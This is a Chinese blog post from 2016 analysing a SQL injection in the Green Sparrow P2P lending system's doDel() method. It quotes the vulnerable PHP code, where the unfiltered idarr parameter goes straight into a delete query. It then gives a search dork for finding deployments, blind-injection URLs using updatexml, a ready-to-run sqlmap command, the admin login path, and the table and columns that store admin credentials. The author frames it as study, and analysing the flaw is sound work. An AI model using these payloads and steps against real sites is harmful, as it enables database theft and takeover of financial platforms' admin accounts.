可我浪费着我寒冷的年华

绿麻雀网贷系统通用注入分析

在安全脉搏上面看到的这个程序,虽说已经有文章了。但是对于小菜鸟的我还是想要尝试着分析一下下。学习学习。嘻嘻。

Action


先把源码抠过来。

漏洞文件:App\Lib\Action\HCommonAction.class.php

且看漏洞产生的关键位置:

 1 <?php 
 2 /**
 3  * 以上code省略...by:DEF
 4  */
 5 public function doDel(){ #首先定义了一个删除的类
 6 
 7         $model = D($this->getActionName()); #引用getactionname
 8 
 9         if (!empty($model)) { #如果说$model不为空执行下面的语句否则不做任何操作。
10 
11             $id = $_REQUEST['idarr'];#漏洞产生地点!此处的idarr未经任何处理!就将其带入二十三行执行sql,进行删除数据,故由此引发sql注入
12 
13             if (isset($id)) {
14 
15                 if (method_exists($this, '_doDelFilter')) {
16 
17                     $this->_doDelFilter($id);
18 
19                 }
20 
21             
22 
23                 if (false !== $model->where("id in ({$id})")->delete()) {
24 
25                     $this->success(L('删除成功'),'',$id);
26 
27                 } else {
28 
29                     $this->error(L('删除失败'));
30 
31                 }
32 
33             } else {
34 
35                 $this->error('非法操作');
36 
37             }
38 
39         }
40 
41     }
42 
43  ?>

因为没有任何的输出,所以对待此类猪肉只能使用盲注。凡是继承了这个HCommonAction类的都存在这个sql漏洞。


 

以上文件都是继承了HCommonAction类的文件。

borrow,fund,dodel下的idarr参数都是可以注入的。

 PS:其实这个漏洞危害性还是有的。

 

inurl:member/common/register/
http://localhost/home/borrow/doDel/idarr/updatexml(1,if(1=1,1,0x22),1)
http://localhost/home/Feedback/doDel/idarr/updatexml(1,if(1=1,1,0x22),1)
http://localhost/home/Fund/doDel/idarr/updatexml(1,if(1=1,1,0x22),1)

可爆管理员后台:/App/Tpl/Admin/default/Index/login.html

sqlmap.py -u "https://www.xxxx.com/home/borrow/doDel/" --data "idarr=updatexml(1,if(1=1*,1,0x22),1)" --dbms=mysql --technique=B --random-agent --threads=6 --dbs

管理员默认的用户表:lzh_ausers下的user_name,user_pass,user_word

THE END


 

posted @ 2016-12-29 13:29  珍惜少年时  阅读(759)  评论(0编辑  收藏  举报
可我浪费着我寒冷的年华